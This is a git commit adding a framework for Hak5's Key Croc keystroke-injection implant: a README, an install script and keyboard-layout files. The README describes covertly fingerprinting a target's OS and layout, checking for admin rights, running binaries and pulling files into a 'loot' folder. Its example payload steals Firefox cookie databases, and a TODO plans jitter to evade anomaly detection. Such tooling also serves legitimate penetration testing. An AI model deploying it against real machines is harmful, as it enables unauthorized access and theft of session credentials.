commit
89ec28b4bc
|
@ -0,0 +1,21 @@
|
|||
MIT License
|
||||
|
||||
Copyright (c) 2021 Konstantin Goretzki
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
|
@ -0,0 +1,224 @@
|
|||
# KeyOS Croc
|
||||
KeyOS Croc is an extension for the [Key Croc](https://hak5.org/products/key-croc) tool by Hak5. The main functionality of this extension is a basic operating system and keyboard layout detection by analyzing DHCP packets and "brute-forcing" (power)shell commands. Besides helper scripts are provided that allow root / admin right detection, easy binary execution (incl. command line arguments) and file extraction. An example for stealing the Firefox cookies.db using a golang executable and a Ducky Script is given.
|
||||
|
||||
## Installation
|
||||
1. Connect Key Croc to Internet, connect via SSH
|
||||
- [Configure](https://docs.hak5.org/hc/en-us/articles/360048015093-Getting-the-Key-Croc-Online) the Key Croc to use your WLAN AP
|
||||
```
|
||||
# /root/udisk/config.txt
|
||||
...
|
||||
SSH ENABLE
|
||||
WIFI_SSID <ssid>
|
||||
WIFI_PASS <psk>
|
||||
DNS 1.1.1.1 8.8.8.8
|
||||
...
|
||||
```
|
||||
- Get the IP addr of your Key Croc, e.g. scan your network with `nmap` or use the router's list of conneced hosts
|
||||
- Connect to the Key Croc via SSH: `ssh root@X.X.X.X` (PW: `hak5croc`)
|
||||
2. Clone the repo (`git clone https://github.com/konstantingoretzki/keyos-croc`) and execute `install-keyos.sh` (`cd keyos-croc && chmod +x install-keyos.sh && ./install-keyos.sh`)
|
||||
3. Customize `/root/udisk/payloads/payload.sh` according to your wishes (see [settings](#settings))
|
||||
4. Reboot the device (`reboot`)
|
||||
|
||||
**Note:** Unfortunately, updating is not currently supported. In order to get the newest KeyOS Croc features you have to either make the changes by hand or reflash to the latest supported Hak5 version (`1.3_510`) and then run the the KeyOS Croc installation process.
|
||||
|
||||
## Usage
|
||||
Depending on your configuration (see [settings](#settings)) the framework can do the following things:
|
||||
1. WLAN geofencing: wait for WLAN APs to be present or absent
|
||||
2. Detect the OS
|
||||
3. Detect the used keyboard layout
|
||||
- A) Try to write a file to the mass storage using different keyboard layouts
|
||||
- B) Windows only: force to use the 'us' layout using alt codes
|
||||
4. Check if higher execution rights are available
|
||||
5. Execute any payload (cross-platform):
|
||||
- A) Ducky Script snippets depending of the OS type, for your own take a look at `scripts/template.sh`
|
||||
- B) Binaries (using a wrapper that can work with cmdArgs, use optional higher rights and chooses the correct file depending on the OS type)
|
||||
6. Save extracted files from the mass drive to the `/root/udisk/loot`-location
|
||||
|
||||
The LED will blink yellow if the framework is working. The LED will turn red if there has been an error (take a look into the `/root/udisk/keyos-log.txt`-file for debug information). If the set detections (optional) and the payload execution was successful the LED will turn green.
|
||||
|
||||
## How it works
|
||||
|
||||
### WLAN geofencing
|
||||
The WLAN geofencing mode allows to only start with the execution of the detections and the payload if certain WLAN access points (2.4 GHz) are / aren't in range. This is done by scanning for access points in the range and parsing their SSIDs. The syntax is a bit complicated but very flexible and allows multiple devices sets that have to be present / absent.
|
||||
|
||||
```
|
||||
## syntax examples for -a / -d
|
||||
|
||||
# ./wlanFencing.py -a "AP1" -a "AP2"
|
||||
# --> AP1 or AP2
|
||||
|
||||
# ./wlanFencing.py -a "AP1" "AP2"
|
||||
# --> AP1 and AP2
|
||||
|
||||
# ./wlanFencing.py -a "AP1" "AP2" -a "AP3"
|
||||
# --> (AP1 and AP2) or AP3
|
||||
|
||||
# ----------------------------------------------
|
||||
|
||||
## real world examples
|
||||
|
||||
# continue if AP1 is present
|
||||
# ./wlanFencing.py -a "AP1"
|
||||
|
||||
# continue if AP1 and AP2 are present
|
||||
# ./wlanFencing.py -a "AP1" "AP2"
|
||||
|
||||
# continue if AP1 is absent
|
||||
# ./wlanFencing.py -a "*" -d "AP1"
|
||||
|
||||
# continue if AP1 and AP2 are absent
|
||||
# ./wlanFencing.py -a "*" -d "AP1" "AP2"
|
||||
```
|
||||
|
||||
It is recommended to not use this feature if at the same time the Key Croc is connected to a WLAN access point and is accessed via SSH. Also keep in mind that scanned APs are heavily cached so it can take up to 30 seconds to detect their absence.
|
||||
|
||||
### OS detection
|
||||
The OS detection works by analyzing sniffed DHCP packets (DHCPREQUEST and DHCPDISCOVER) via Python and `scapy`. This method allows a passive OS fingerprint. Compared to scanning the host with a tool like `nmap` this approach is also much faster and more reliable. Due to the usage of DHCP packets new OS types / versions can be easily add simply by tuning the used DHCP options. For more information take a look at [os-fingerprinting.md](./os-fingerprinting.md)
|
||||
|
||||
The following OS have been tested and can be recognized:
|
||||
- Microsoft Windows
|
||||
- Windows 10 Pro Build 2004
|
||||
- Windows 10 Pro Build 21H1
|
||||
- Linux
|
||||
- Ubuntu 20.04.1 LTS
|
||||
- Ubuntu 21.04 (OS detection works but HID e.g. for the layout detection only works with Xorg and **not** Wayland)
|
||||
- (macOS Catalina 10.15.6 - see [TODO](#todo))
|
||||
|
||||
Other OS versions might work aswell. However testing for them is necessary as DHCP options can change from version to version.
|
||||
|
||||
### Keyboard layout detection
|
||||
To determine the keyboard layout a test file is written to a created USB storage device (not the default drive from the Key Croc). The main script (`payload.sh`) runs and checks if a file could be found. If not the write failed and the wrong keyboard layout was selected. Another try will be made.
|
||||
|
||||
While this approach isn't that fast, especially if you have a huge subset of possible layouts, it is the only way that can be used cross-platform. Keyboards send the currently pressed keys (by using keycodes) if they get asked by an USB host. However only the OS of the USB host knows how to interpret the returned keycodes and decides wether an keycode will be mapped to e.g. `z` or `y`.
|
||||
|
||||
The keyboard layouts for German, English and French are tested and work one after the other without any problems. Other subsets of layouts can be set but the layouts should be supported by the Key Croc framework (language files exist, needed keys are set and work). In addition the layouts of the subset should be tested to work even one after the other, especially if the prior try failed and could therefore leave an unclean state (e.g. the terminal window is still open and all subsequent commands fail).
|
||||
|
||||
#### Alt codes
|
||||
On Windows alt codes can be used to write chars independent of the set keyboard layout. A [helper script](scripts/altcon.py) to convert a string to a sequence of Ducky Script alt codes can be used. However typing alt codes can be quite slow. A proposed and implemented solution is to force the Windows USB host to use the 'us' keyboard layout. To use this method set the `winForceUS` variable to 1. This only works if the OS is Windows (detected or `os` variable set). Keep in mind that the set layouts of the Windows host before will be overwritten!
|
||||
|
||||
While there is an alternative ([Unicode codes](https://help.ubuntu.com/stable/ubuntu-help/tips-specialchars.html.en)) on Ubuntu, this can not be used as also hex chars are needed.
|
||||
|
||||
## Settings
|
||||
You can set the features to use by adjusting the `/root/udisk/payloads/payload.sh`-file. You can do this either by editing the file with an editor over SSH or by using the Key Croc's [arming mode](https://docs.hak5.org/hc/en-us/articles/360047380574-Key-Croc-Basics) and editing the file directly from the mounted mass storage (do not forget to safely unplug!).
|
||||
|
||||
```
|
||||
################################################################################
|
||||
# configure detection (OS, layout and root) and payload
|
||||
################################################################################
|
||||
|
||||
# WLAN AP geofencing
|
||||
# set to 1 is active, 0 is deactivated
|
||||
# set the allowed / denied devices in the wlanFencing function
|
||||
doWlanFencing=0
|
||||
|
||||
# OS detection
|
||||
# if the string is empty then script will try to determine the OS
|
||||
# if an OS ("Windows", "Linux" or "Mac") is set the detection will be skipped
|
||||
# and the set element value will be used
|
||||
os=""
|
||||
|
||||
# Layout detection
|
||||
# keyboard layouts that should be tried
|
||||
# testing order is from left to right
|
||||
# if the array only contains one element the detection will be skipped
|
||||
# and the set element value will be used
|
||||
# if no value is set the default value ("us") will be used
|
||||
langs=( de us fr )
|
||||
# if the OS is Window (detected or the variable is set by the user)
|
||||
# the framework can use alt codes to force the host the use the 'us' layout
|
||||
# instead of trying to detect the used keyboard layout
|
||||
# set to 1 is active, 0 is deactivated
|
||||
# layouts in the langs array will be ignored in this case
|
||||
winForceUS=0
|
||||
|
||||
# Root / admin detection
|
||||
# check if higher rights can be get
|
||||
# set to 1 is active, 0 is deactivated
|
||||
rootCheck=1
|
||||
|
||||
|
||||
# Payload
|
||||
# if a custom DUCKY SCRIPT file should be used then set the variable
|
||||
# to the path of the file, e.g. "/root/udisk/library/stealCookies.sh"
|
||||
# compatible DUCKY SCRIPT files should be placed in "/root/udisk/library/"
|
||||
# "/root/udisk/library/template.sh" can be used as a template
|
||||
# just adjust the QUACK calls in the OS functions
|
||||
# if a binary should be executed then set the variable to "/root/udisk/library/payload-execute.sh"
|
||||
# binaries named "win.exe", "lin" and "mac" should be placed in "/root/binaries/"
|
||||
payload="/root/udisk/library/payload-execute.sh"
|
||||
#payload="/root/udisk/library/stealFirefoxCookies.sh"
|
||||
# for binaries optional command line arguments can be passed by setting cmdArgs
|
||||
# if not needed, set it to an empty string
|
||||
cmdArgs="cookies"
|
||||
# file that is created by the DUCKY SCRIPT or binary to detect if the execution is finished
|
||||
# needed if the type time != execution time
|
||||
# e.g. when copying large files
|
||||
# if not needed then set it to an empty string
|
||||
# the framework will go on will not wait for any created files
|
||||
doneFile="done.txt"
|
||||
# maxTries = max seconds to wait for completion of a given payload
|
||||
# if a payload takes longer than the specified seconds then the execution will be stopped
|
||||
maxTries=15
|
||||
# is root/ admin needed for the payload execution?
|
||||
# if set to 1 the script uses "sudo" as prefix or a "run as admin"-started terminal
|
||||
# if a root check has been done before, root is not available but needed the execution will be stopped
|
||||
needRoot=0
|
||||
# cp wildcard to extract files from the mass storage, comment out or set to empty string if not used
|
||||
# files will be copied to the "loot" location ("/root/udisk/loot")
|
||||
extractFiles="cookies[0-9]*.sqlite"
|
||||
|
||||
################################################################################
|
||||
```
|
||||
|
||||
Here are some examples for certain workflows:
|
||||
- OS is Windows, layout is either us or de, execute Ducky Script
|
||||
```
|
||||
os="Windows"
|
||||
langs=( us de )
|
||||
payload="/root/udisk/library/<my-script>.sh"
|
||||
```
|
||||
- OS should be detected, layout is us, execute binary payload with cmdArgs, extract files
|
||||
```
|
||||
os=""
|
||||
langs=( us )
|
||||
payload="/root/udisk/library/payload-execute.sh"
|
||||
cmdArgs="places"
|
||||
extractFiles="places[0-9]*.sqlite"
|
||||
```
|
||||
- OS and layout are known, check for root, execute binary payload only if root available
|
||||
```
|
||||
os="Linux"
|
||||
langs=( us )
|
||||
rootCheck=1
|
||||
payload="/root/udisk/library/payload-execute.sh"
|
||||
needRoot=1
|
||||
```
|
||||
- OS is Windows, use altcodes to force 'us' layout, execute Ducky Script
|
||||
```
|
||||
os="Windows"
|
||||
winForceUS=1
|
||||
payload="/root/udisk/library/<my-script>.sh"
|
||||
```
|
||||
|
||||
## TODO
|
||||
### Project specific
|
||||
- [ ] **Testing**: a project like this depends heavily on testing. Every system is different and even the slightest difference can determine if the executions fails or works.
|
||||
- [ ] **Test on macOS**: this project is a port of the [aloa-extensions](https://github.com/konstantingoretzki/aloa-extensions) that I've created for the [P4wnP1 A.L.O.A.](https://github.com/RoganDawes/P4wnP1_aloa). While I've tested the original code on macOS, this is currently not the case for this port. It will be a while before I can get my hands on macOS hardware for testing again, so testers are (even on other platforms) welcome ;)
|
||||
- [x] **US layout**: num lock had to be enabled to be able to type numbers on the us layout. Adjusting the order of the keycodes (prefer numbers over numpad numbers) fixes this.
|
||||
|
||||
|
||||
### Key Croc
|
||||
- [ ] **Lock state**: add a dedicated script to get the lock states (e.g. num lock or caps lock), LED states should be readable on Windows and Linux.
|
||||
- [ ] **Jitter**: make it possible to add random delays to prevent triggering anomaly detection systems
|
||||
- [x] **Altcodes**: fix `write_altcode`-function in order to work independent from the numlock state
|
||||
|
||||
### General
|
||||
- [ ] **HID on Wayland**: on Wayland keystroke injections (even with other frameworks like the [P4wnP1 A.L.O.A.](https://github.com/RoganDawes/P4wnP1_aloa) aren't possible, maybe Wayland is using other keycodes or handling input differently? research is needed
|
||||
|
||||
## Troubleshooting
|
||||
The main steps are logged inside `/root/udisk/keyos-log.txt`. If you experience any issues please take a look into this file. It can also help to run the main `/root/udisk/payloads/payload.sh` interactively to see what happens and which steps might fail. Adjusting the `payload.sh`-file to skip certain checks or stop after a specific detection can reduce the waiting time drastically.
|
||||
|
||||
## Credits to
|
||||
- [lartsch](https://forums.hak5.org/profile/84374-lartsch/): fix [matchless payloads](https://forums.hak5.org/topic/55695-fix-for-matchless-payloads-not-running/) detection, temp. fix for the broken alt codes support
|
||||
- [emptyhen](https://github.com/emptyhen): fix [broken numbers](https://github.com/hak5/keycroc-payloads/pull/6) on 'us' layout if numlock is off
|
||||
- [marius56](https://github.com/marius56): idea to use nested lists for the wlanFencing-script
|
|
@ -0,0 +1,70 @@
|
|||
#!/bin/bash
|
||||
|
||||
echo -e "\nPlease make sure that the Key Croc has internet connection! \n"
|
||||
|
||||
# version check
|
||||
# especially needed because some croc files are changed
|
||||
version=`cat /root/version.txt`
|
||||
if [ "$version" != "1.3_510" ]
|
||||
then
|
||||
echo -e "\nKey Croc is not on version 1.3_510 - things can break with newer / older version."
|
||||
echo -e "Script will stop.\n"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# dependencies
|
||||
echo "Installing dependencies ..."
|
||||
apt update
|
||||
apt install -y sqlite3 python3 python3-pip ntfs-3g
|
||||
pip3 install scapy
|
||||
|
||||
# scripts
|
||||
echo -e "\nInstalling scripts ..."
|
||||
mkdir /root/scripts
|
||||
cp scripts/analyze-pcap.py scripts/image-helper.sh scripts/altcon.py scripts/wlanFencing.py /root/scripts/
|
||||
cp scripts/payload.sh /root/udisk/payloads/
|
||||
chmod 751 /root/scripts/*
|
||||
chmod 751 /root/udisk/payloads/payload.sh
|
||||
|
||||
echo -e "\nAdjusting framework files ..."
|
||||
# fix match-less payloads detection
|
||||
# thanks to lartsch (https://forums.hak5.org/profile/84374-lartsch/) for this fix
|
||||
sed -i 's%for p in $(find /root/udisk/payloads -type f.*%for p in \$(find \/root\/udisk\/payloads -type f | xargs grep -cHP \x27\^(?=\[\\s\]\*+\[\^#\])\[\^#\]\*(MATCH)\x27 | grep 0\$ | cut -d\x27:\x27 -f1)%' /usr/local/croc/bin/croc_framework
|
||||
|
||||
# add line to ATTACKMODE
|
||||
sed -i '/# start dhcp server/i \\n\t\t# Added by KeyOS Croc\n\t\techo -n "sniff" > /root/pyrecv\n' /usr/local/croc/bin/ATTACKMODE
|
||||
|
||||
# set default DHCP timeout to sniff timeout
|
||||
sed -i -r 's/timeout=[0-9]+/timeout=5/g' /usr/local/croc/bin/ATTACKMODE
|
||||
|
||||
# fix broken alt codes
|
||||
sed -i '74,84d' /usr/local/croc/bin/QUACK
|
||||
sed -i '/numlock = False/a\ \ \ \ hidg_write(\[0, 0, 83, 0, 0, 0, 0, 0\])\n\ \ \ \ time\.sleep(0\.01)\n\ \ \ \ hidg_write(\[0, 0, 83, 0, 0, 0, 0, 0\])\n\n\ \ \ \ with open("\/dev\/hidg0", mode=\x27r\x27) as f:\n\ \ \ \ \ \ \ \ out = f\.read(2)\n\ \ \ \ \ \ \ \ while not out:\n\ \ \ \ \ \ \ \ \ \ \ \ out = f\.read(2)\n\n\ \ \ \ \ \ \ \ numlock = (int(out\.encode(\x27hex\x27), 16) \& 0b00001) == 0b00001\n' /usr/local/croc/bin/QUACK
|
||||
|
||||
# payloads - binary
|
||||
echo -e "\nCopy binary payloads ..."
|
||||
mkdir /root/binaries
|
||||
cp payloads/binary/executables/* /root/binaries/
|
||||
chmod 751 /root/binaries/*
|
||||
|
||||
# payloads - Ducky Script
|
||||
echo -e "Copy Ducky Script payloads ..."
|
||||
cp payloads/ducky/* /root/udisk/library/
|
||||
chmod 751 /root/udisk/library/*
|
||||
|
||||
# language files
|
||||
echo -e "Copy adjusted language files ..."
|
||||
mv /root/udisk/languages/de.json /root/udisk/languages/de.json.bak
|
||||
mv /root/udisk/languages/us.json /root/udisk/languages/us.json.bak
|
||||
mv /root/udisk/languages/fr.json /root/udisk/languages/fr.json.bak
|
||||
cp languages/* /root/udisk/languages/
|
||||
chmod 751 /root/udisk/languages/de.json /root/udisk/languages/us.json /root/udisk/languages/fr.json
|
||||
|
||||
# drive images
|
||||
echo -e "\nSetup drive images ..."
|
||||
mkdir /root/ums
|
||||
/root/scripts/image-helper.sh create
|
||||
/root/scripts/image-helper.sh prepareAll
|
||||
|
||||
echo -e "\nInstalling done."
|
||||
echo -e "Please reboot now to be able to use the KeyOS Croc.\n"
|
|
@ -0,0 +1,181 @@
|
|||
{
|
||||
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||
"__comment":" ",
|
||||
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||
"__comment":" ",
|
||||
"__comment":"Definition of these 3 bytes can be found",
|
||||
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||
"__comment":" - byte 1: Modifier keys",
|
||||
"__comment":" - byte 2: Reserved",
|
||||
"__comment":" - byte 3: Keycode 1",
|
||||
"__comment":" ",
|
||||
"__comment":"Both documents can be obtained from link here",
|
||||
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||
"__comment":" ",
|
||||
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||
"__comment":" ",
|
||||
"__comment":"German umlauts added by Simon Dankelmann",
|
||||
"a":"00,00,04",
|
||||
"b":"00,00,05",
|
||||
"c":"00,00,06",
|
||||
"d":"00,00,07",
|
||||
"e":"00,00,08",
|
||||
"f":"00,00,09",
|
||||
"g":"00,00,0a",
|
||||
"h":"00,00,0b",
|
||||
"i":"00,00,0c",
|
||||
"j":"00,00,0d",
|
||||
"k":"00,00,0e",
|
||||
"l":"00,00,0f",
|
||||
"m":"00,00,10",
|
||||
"n":"00,00,11",
|
||||
"o":"00,00,12",
|
||||
"p":"00,00,13",
|
||||
"q":"00,00,14",
|
||||
"r":"00,00,15",
|
||||
"s":"00,00,16",
|
||||
"t":"00,00,17",
|
||||
"u":"00,00,18",
|
||||
"v":"00,00,19",
|
||||
"w":"00,00,1a",
|
||||
"x":"00,00,1b",
|
||||
"z":"00,00,1c",
|
||||
"y":"00,00,1d",
|
||||
"1":"00,00,1e",
|
||||
"2":"00,00,1f",
|
||||
"3":"00,00,20",
|
||||
"4":"00,00,21",
|
||||
"5":"00,00,22",
|
||||
"6":"00,00,23",
|
||||
"7":"00,00,24",
|
||||
"8":"00,00,25",
|
||||
"9":"00,00,26",
|
||||
"0":"00,00,27",
|
||||
"ENTER":"00,00,28",
|
||||
"ESC":"00,00,29",
|
||||
"ESCAPE":"00,00,29",
|
||||
"TAB":"00,00,2b",
|
||||
" ":"00,00,2c",
|
||||
"SPACE":"00,00,2c",
|
||||
"+":"00,00,30",
|
||||
"#":"00,00,31",
|
||||
"^":"00,00,35",
|
||||
",":"00,00,36",
|
||||
".":"00,00,37",
|
||||
"-":"00,00,38",
|
||||
"CAPSLOCK":"00,00,39",
|
||||
"F1":"00,00,3a",
|
||||
"F2":"00,00,3b",
|
||||
"F3":"00,00,3c",
|
||||
"F4":"00,00,3d",
|
||||
"F5":"00,00,3e",
|
||||
"F6":"00,00,3f",
|
||||
"F7":"00,00,40",
|
||||
"F8":"00,00,41",
|
||||
"F9":"00,00,42",
|
||||
"F10":"00,00,43",
|
||||
"F11":"00,00,44",
|
||||
"F12":"00,00,45",
|
||||
"PRINTSCREEN":"00,00,46",
|
||||
"SCROLLLOCK":"00,00,47",
|
||||
"BREAK":"00,00,48",
|
||||
"PAUSE":"00,00,48",
|
||||
"INSERT":"00,00,49",
|
||||
"HOME":"00,00,4a",
|
||||
"PAGEUP":"00,00,4b",
|
||||
"DEL":"00,00,4c",
|
||||
"DELETE":"00,00,4c",
|
||||
"END":"00,00,4d",
|
||||
"PAGEDOWN":"00,00,4e",
|
||||
"RIGHT":"00,00,4f",
|
||||
"RIGHTARROW":"00,00,4f",
|
||||
"LEFT":"00,00,50",
|
||||
"LEFTARROW":"00,00,50",
|
||||
"DOWN":"00,00,51",
|
||||
"DOWNARROW":"00,00,51",
|
||||
"UP":"00,00,52",
|
||||
"UPARROW":"00,00,52",
|
||||
"<":"00,00,64",
|
||||
"APP":"00,00,65",
|
||||
"MENU":"00,00,65",
|
||||
"ALT-TAB":"00,00,71",
|
||||
"CONTROL":"01,00,00",
|
||||
"CTRL":"01,00,00",
|
||||
"SHIFT":"02,00,00",
|
||||
"A":"02,00,04",
|
||||
"B":"02,00,05",
|
||||
"C":"02,00,06",
|
||||
"D":"02,00,07",
|
||||
"E":"02,00,08",
|
||||
"F":"02,00,09",
|
||||
"G":"02,00,0a",
|
||||
"H":"02,00,0b",
|
||||
"I":"02,00,0c",
|
||||
"J":"02,00,0d",
|
||||
"K":"02,00,0e",
|
||||
"L":"02,00,0f",
|
||||
"M":"02,00,10",
|
||||
"N":"02,00,11",
|
||||
"O":"02,00,12",
|
||||
"P":"02,00,13",
|
||||
"Q":"02,00,14",
|
||||
"R":"02,00,15",
|
||||
"S":"02,00,16",
|
||||
"T":"02,00,17",
|
||||
"U":"02,00,18",
|
||||
"V":"02,00,19",
|
||||
"W":"02,00,1a",
|
||||
"X":"02,00,1b",
|
||||
"Z":"02,00,1c",
|
||||
"Y":"02,00,1d",
|
||||
"!":"02,00,1e",
|
||||
"\"":"02,00,1f",
|
||||
"$":"02,00,21",
|
||||
"%":"02,00,22",
|
||||
"&":"02,00,23",
|
||||
"/":"02,00,24",
|
||||
"(":"02,00,25",
|
||||
")":"02,00,26",
|
||||
"=":"02,00,27",
|
||||
"?":"02,00,2d",
|
||||
"`":"02,00,2e",
|
||||
"*":"02,00,30",
|
||||
"'":"02,00,31",
|
||||
";":"02,00,36",
|
||||
":":"02,00,37",
|
||||
"_":"02,00,38",
|
||||
">":"02,00,64",
|
||||
"CTRL-SHIFT":"03,00,00",
|
||||
"ALT":"04,00,00",
|
||||
"ALT-j":"04,00,0d",
|
||||
"CTRL-ALT":"05,00,00",
|
||||
"ALT-SHIFT":"06,00,00",
|
||||
"COMMAND":"08,00,00",
|
||||
"GUI":"08,00,00",
|
||||
"WINDOWS":"08,00,00",
|
||||
"COMMAND-OPTION":"12,00,00",
|
||||
"@":"40,00,14",
|
||||
"{":"40,00,24",
|
||||
"[":"40,00,25",
|
||||
"]":"40,00,26",
|
||||
"}":"40,00,27",
|
||||
"\\":"40,00,2d",
|
||||
"~":"40,00,30",
|
||||
"|":"40,00,64",
|
||||
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||
"COMMAND-CTRL":"40,00,64",
|
||||
"COMMAND-OPTION-SHIFT'":"40,00,64",
|
||||
"ß":"00,00,2d",
|
||||
"€":"40,00,08",
|
||||
"§":"02,00,20",
|
||||
"ä":"00,00,34",
|
||||
"ö":"00,00,33",
|
||||
"ü":"00,00,2f",
|
||||
"Ä":"02,00,34",
|
||||
"Ö":"02,00,33",
|
||||
"Ü":"02,00,2f",
|
||||
"CONTROL-SHIFT-ENTER":"03,00,28"
|
||||
}
|
|
@ -0,0 +1,170 @@
|
|||
{
|
||||
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||
"__comment":" ",
|
||||
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||
"__comment":" ",
|
||||
"__comment":"Definition of these 3 bytes can be found",
|
||||
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||
"__comment":" - byte 1: Modifier keys",
|
||||
"__comment":" - byte 2: Reserved",
|
||||
"__comment":" - byte 3: Keycode 1",
|
||||
"__comment":" ",
|
||||
"__comment":"Both documents can be obtained from link here",
|
||||
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||
"__comment":" ",
|
||||
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||
"__comment":" ",
|
||||
"q":"00,00,04",
|
||||
"b":"00,00,05",
|
||||
"c":"00,00,06",
|
||||
"d":"00,00,07",
|
||||
"e":"00,00,08",
|
||||
"f":"00,00,09",
|
||||
"g":"00,00,0a",
|
||||
"h":"00,00,0b",
|
||||
"i":"00,00,0c",
|
||||
"j":"00,00,0d",
|
||||
"k":"00,00,0e",
|
||||
"l":"00,00,0f",
|
||||
",":"00,00,10",
|
||||
"n":"00,00,11",
|
||||
"o":"00,00,12",
|
||||
"p":"00,00,13",
|
||||
"a":"00,00,14",
|
||||
"r":"00,00,15",
|
||||
"s":"00,00,16",
|
||||
"t":"00,00,17",
|
||||
"u":"00,00,18",
|
||||
"v":"00,00,19",
|
||||
"z":"00,00,1a",
|
||||
"x":"00,00,1b",
|
||||
"y":"00,00,1c",
|
||||
"w":"00,00,1d",
|
||||
"&":"00,00,1e",
|
||||
"\"":"00,00,20",
|
||||
"'":"00,00,21",
|
||||
"(":"00,00,22",
|
||||
"-":"00,00,23",
|
||||
"_":"00,00,25",
|
||||
"ENTER":"00,00,28",
|
||||
"ESC":"00,00,29",
|
||||
"ESCAPE":"00,00,29",
|
||||
"TAB":"00,00,2b",
|
||||
" ":"00,00,2c",
|
||||
"SPACE":"00,00,2c",
|
||||
")":"00,00,2d",
|
||||
"=":"00,00,2e",
|
||||
"$":"00,00,30",
|
||||
"*":"00,00,31",
|
||||
"m":"00,00,33",
|
||||
";":"00,00,36",
|
||||
":":"00,00,37",
|
||||
"!":"00,00,38",
|
||||
"CAPSLOCK":"00,00,39",
|
||||
"F1":"00,00,3a",
|
||||
"F2":"00,00,3b",
|
||||
"F3":"00,00,3c",
|
||||
"F4":"00,00,3d",
|
||||
"F5":"00,00,3e",
|
||||
"F6":"00,00,3f",
|
||||
"F7":"00,00,40",
|
||||
"F8":"00,00,41",
|
||||
"F9":"00,00,42",
|
||||
"F10":"00,00,43",
|
||||
"F11":"00,00,44",
|
||||
"F12":"00,00,45",
|
||||
"PRINTSCREEN":"00,00,46",
|
||||
"SCROLLLOCK":"00,00,47",
|
||||
"BREAK":"00,00,48",
|
||||
"PAUSE":"00,00,48",
|
||||
"INSERT":"00,00,49",
|
||||
"HOME":"00,00,4a",
|
||||
"PAGEUP":"00,00,4b",
|
||||
"DEL":"00,00,4c",
|
||||
"DELETE":"00,00,4c",
|
||||
"END":"00,00,4d",
|
||||
"PAGEDOWN":"00,00,4e",
|
||||
"RIGHT":"00,00,4f",
|
||||
"RIGHTARROW":"00,00,4f",
|
||||
"LEFT":"00,00,50",
|
||||
"LEFTARROW":"00,00,50",
|
||||
"DOWN":"00,00,51",
|
||||
"DOWNARROW":"00,00,51",
|
||||
"UP":"00,00,52",
|
||||
"UPARROW":"00,00,52",
|
||||
"<":"00,00,64",
|
||||
"APP":"00,00,65",
|
||||
"MENU":"00,00,65",
|
||||
"ALT-TAB":"00,00,71",
|
||||
"CONTROL":"01,00,00",
|
||||
"CTRL":"01,00,00",
|
||||
"SHIFT":"02,00,00",
|
||||
"Q":"02,00,04",
|
||||
"B":"02,00,05",
|
||||
"C":"02,00,06",
|
||||
"D":"02,00,07",
|
||||
"E":"02,00,08",
|
||||
"F":"02,00,09",
|
||||
"G":"02,00,0a",
|
||||
"H":"02,00,0b",
|
||||
"I":"02,00,0c",
|
||||
"J":"02,00,0d",
|
||||
"K":"02,00,0e",
|
||||
"L":"02,00,0f",
|
||||
"?":"02,00,10",
|
||||
"N":"02,00,11",
|
||||
"O":"02,00,12",
|
||||
"P":"02,00,13",
|
||||
"A":"02,00,14",
|
||||
"R":"02,00,15",
|
||||
"S":"02,00,16",
|
||||
"T":"02,00,17",
|
||||
"U":"02,00,18",
|
||||
"V":"02,00,19",
|
||||
"Z":"02,00,1a",
|
||||
"X":"02,00,1b",
|
||||
"Y":"02,00,1c",
|
||||
"W":"02,00,1d",
|
||||
"1":"02,00,1e",
|
||||
"2":"02,00,1f",
|
||||
"3":"02,00,20",
|
||||
"4":"02,00,21",
|
||||
"5":"02,00,22",
|
||||
"6":"02,00,23",
|
||||
"7":"02,00,24",
|
||||
"8":"02,00,25",
|
||||
"9":"02,00,26",
|
||||
"0":"02,00,27",
|
||||
"+":"02,00,2e",
|
||||
"M":"02,00,33",
|
||||
"%":"02,00,34",
|
||||
".":"02,00,36",
|
||||
"/":"02,00,37",
|
||||
">":"02,00,64",
|
||||
"CTRL-SHIFT":"03,00,00",
|
||||
"ALT":"04,00,00",
|
||||
"CTRL-ALT":"05,00,00",
|
||||
"ALT-SHIFT":"06,00,00",
|
||||
"COMMAND":"08,00,00",
|
||||
"GUI":"08,00,00",
|
||||
"WINDOWS":"08,00,00",
|
||||
"COMMAND-OPTION":"12,00,00",
|
||||
"~":"40,00,1f",
|
||||
"#":"40,00,20",
|
||||
"{":"40,00,21",
|
||||
"[":"40,00,22",
|
||||
"|":"40,00,23",
|
||||
"`":"40,00,24",
|
||||
"\\":"40,00,25",
